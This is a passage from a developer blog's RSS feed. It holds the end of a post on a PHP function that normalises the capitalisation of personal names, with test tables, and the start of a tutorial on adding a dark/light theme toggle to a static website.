style=&quot;color:#fdb082;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;St&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\\.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Mc)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ecfdb9;&quot;&gt;PREG_SPLIT_DELIM_CAPTURE&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Chunk parts, use $CASED or uppercase first, remove unfinished chunks
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;collect&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;parts&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;chunk&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;filter&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;count&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        })
&lt;&#x2F;span&gt;&lt;span&gt;        -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;mapSpread&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;separator &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff8942;&quot;&gt;null&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;CASED&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Use specified case for separator if set
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;CASED&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;separator&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;strcasecmp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;separator&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            });
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;separator &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased&lt;&#x2F;span&gt;&lt;span&gt; ?? &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;separator&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Choose specified part case, or uppercase first as default
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;CASED&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;strcasecmp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;            });
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cased&lt;&#x2F;span&gt;&lt;span&gt; ?? &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;ucfirst&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;strtolower&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;)), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;separator&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;        })
&lt;&#x2F;span&gt;&lt;span&gt;        -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;implode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;part&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        })
&lt;&#x2F;span&gt;&lt;span&gt;        -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Trim and return normalized name
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;details&gt;
&lt;br &#x2F;&gt;
&lt;p&gt;Of course, this function fulfills the truth table presented with the original
snippet:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Input&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Becomes&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;michael o’carrol&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Michael O’Carrol&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;lucas l’amour&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Lucas l’Amour&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;george d’onofrio&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;George d’Onofrio&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;william stanley iii&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;William Stanley III&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;UNITED STATES OF AMERICA&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;United States of America&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;t. von lieres und wilkau&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;T. von Lieres und Wilkau&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;paul van der knaap&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Paul van der Knaap&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;jean-luc picard&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Jean-Luc Picard&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;JOHN MCLAREN&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;John McLaren&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;hENRIC vIII&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Henric VIII&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;VAsco da GAma&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Vasco da Gama&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;It neatly passes additional previously problematic situations as well.
Brilliant!&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Input&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Original snippet&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;This snippet&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;van der knaap&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;u&gt;&lt;strong&gt;Van&lt;&#x2F;strong&gt;&lt;&#x2F;u&gt; der Knaap&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;van der Knaap&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;l’amour&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;u&gt;&lt;strong&gt;L’A&lt;&#x2F;strong&gt;&lt;&#x2F;u&gt;mour&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;l’Amour&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;von lieres    UND wilkau&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;u&gt;&lt;strong&gt;V&lt;&#x2F;strong&gt;&lt;&#x2F;u&gt;on Lieres&lt;u&gt;    &lt;&#x2F;u&gt;und Wilkau&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;von Lieres und Wilkau&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;br &#x2F;&gt;
&lt;p&gt;Normalizing using a function like this makes it impossible for some to enter
their name as formatted on their ID. Knowing the audience you serve, this is a
risk you may be able to accept but it will never be perfect. You could always
use this to suggest formatting improvements to the user, allowing them to choose
what&#x27;s right.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;Using numbers to identify people would be a more rational choice, except when you&#x27;re called Pi. &#x2F;s&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;beagle-boys.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;a41dff6e611a3e6c00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Feel free to use and share.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Special thanks to Armand Niculescu, for the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.media-division.com&#x2F;correct-name-capitalization-in-php&#x2F;&quot;&gt;snippet&lt;&#x2F;a&gt; this was inspired by!&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>Dark mode toggle on your static website</title>
                <pubDate>Tue, 16 Jul 2019 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/dark-mode-toggle-on-static-website/</link>
                <guid>https://timvisee.com/blog/dark-mode-toggle-on-static-website/</guid>
                <description>&lt;p&gt;Developers &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hashnode.com&#x2F;post&#x2F;which-color-theme-do-you-prefer-in-your-code-editor-ciq9e3wbn1avb0053p48nozw0&quot;&gt;like&lt;&#x2F;a&gt; dark themes. When looking at a screen
all day (or rather, night) long, a pale white background with black text is an
eyesore. Many software engineers prefer to use a dark theme with lower
contrast colors in their code editors, and many tools started shipping dark
visuals as default in the last few years.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;dark-mode-toggle-on-static-website&#x2F;screenshot.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;9fe62b6e298b77aa00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;I fall into that group as well and have been using these themes for so long
that I can&#x27;t even recall when I joined the dark side. I started to like these
dark themes a lot and find them more visually pleasing, appearing more...
&lt;em&gt;Professional&lt;&#x2F;em&gt;. To reflect this, I wanted to give my website – &lt;em&gt;this&lt;&#x2F;em&gt;
website – dark visuals as well.&lt;&#x2F;p&gt;
&lt;p&gt;This isn&#x27;t always a success. On some screens or in some light conditions the
dark theme can be difficult to read, and some just prefer a paper-like background
color anyway. I decided to create a dark&#x2F;light mode toggle to please everyone.&lt;&#x2F;p&gt;
&lt;p&gt;
  &lt;a href=&quot;#&quot; onclick=&quot;theme_toggle(); return false;&quot;&gt;
    &amp;#127763;
  &lt;&#x2F;a&gt;
  &lt;i&gt;&amp;mdash; Tap the moon icon, and see the magic happen.&lt;&#x2F;i&gt;
&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;&lt;h2 id=&quot;what-we-re-building&quot;&gt;What we&#x27;re building
    &lt;a class=&quot;anchor&quot; href=&quot;#what-we-re-building&quot; aria-label=&quot;Anchor link for: what-we-re-building&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Alright. In this post I&#x27;ll explain how to implement a light&#x2F;dark mode toggle
for your website, it&#x27;s super simple and adaptable. There are &lt;em&gt;a million&lt;&#x2F;em&gt;
tutorials for this on the Internet already, but here is my take on it in
some detail with a few tips.&lt;&#x2F;p&gt;
&lt;p&gt;This will use and support:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;toggle theme using a button with smooth transitions&lt;&#x2F;li&gt;
&lt;li&gt;remember chosen theme on a device, no flickering on page load&lt;&#x2F;li&gt;
&lt;li&gt;simple &amp;amp; effective to implement, works on static HTML pages&lt;&#x2F;li&gt;
&lt;li&gt;style sheet per color theme, keep it maintainable with SCSS variables&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Continue to the next section for the implementation, or skip to &lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;dark-mode-toggle-on-static-website&#x2F;#the-result&quot;&gt;The
result&lt;&#x2F;a&gt; just for the result.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;build-a-theme-toggle&quot;&gt;Build a theme toggle
    &lt;a class=&quot;anchor&quot; href=&quot;#build-a-theme-toggle&quot; aria-label=&quot;Anchor link for: build-a-theme-toggle&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;&amp;quot;How is this be implemented?&amp;quot; I hear you ask. Well, it&#x27;s quite simple.&lt;&#x2F;p&gt;
&lt;p&gt;Because we&#x27;re working with a static HTML website, theme selection must be done on the
client. We&#x27;ll use two style sheets (each for a different color scheme), and some
simple JavaScript to toggle between these. The user preference will be
remembered across visits.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;load-two-style-sheets&quot;&gt;Load two style sheets
    &lt;a class=&quot;anchor&quot; href=&quot;#load-two-style-sheets&quot; aria-label=&quot;Anchor link for: load-two-style-sheets&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;First off, &lt;strong&gt;load two style sheets&lt;&#x2F;strong&gt; inside the &lt;code&gt;&amp;lt;head&amp;gt;&lt;&#x2F;code&gt; block of your website
which &lt;strong&gt;replaces the existing&lt;&#x2F;strong&gt; style sheet you might have in your template.
Just link both to your existing sheet for now. Assign an &lt;code&gt;id&lt;&#x2F;code&gt; to easily
reference them from JavaScript, choose &lt;code&gt;style-light&lt;&#x2F;code&gt; and &lt;code&gt;style-dark&lt;&#x2F;code&gt;. The
latter of the two links gets the &lt;code&gt;disabled&lt;&#x2F;code&gt; attribute to disable it by default.
They won&#x27;t do anything yet, but this is to prepare for the toggle we&#x27;ll build
next.&lt;&#x2F;p&gt;
&lt;p&gt;I&#x27;m using &lt;code&gt;&#x2F;site.css&lt;&#x2F;code&gt;, which makes the imports &lt;strong&gt;look like this&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;link &lt;&#x2F;span&gt;&lt;span style=&quot;color:#66a9ec;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-light&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;stylesheet&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;site.css&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
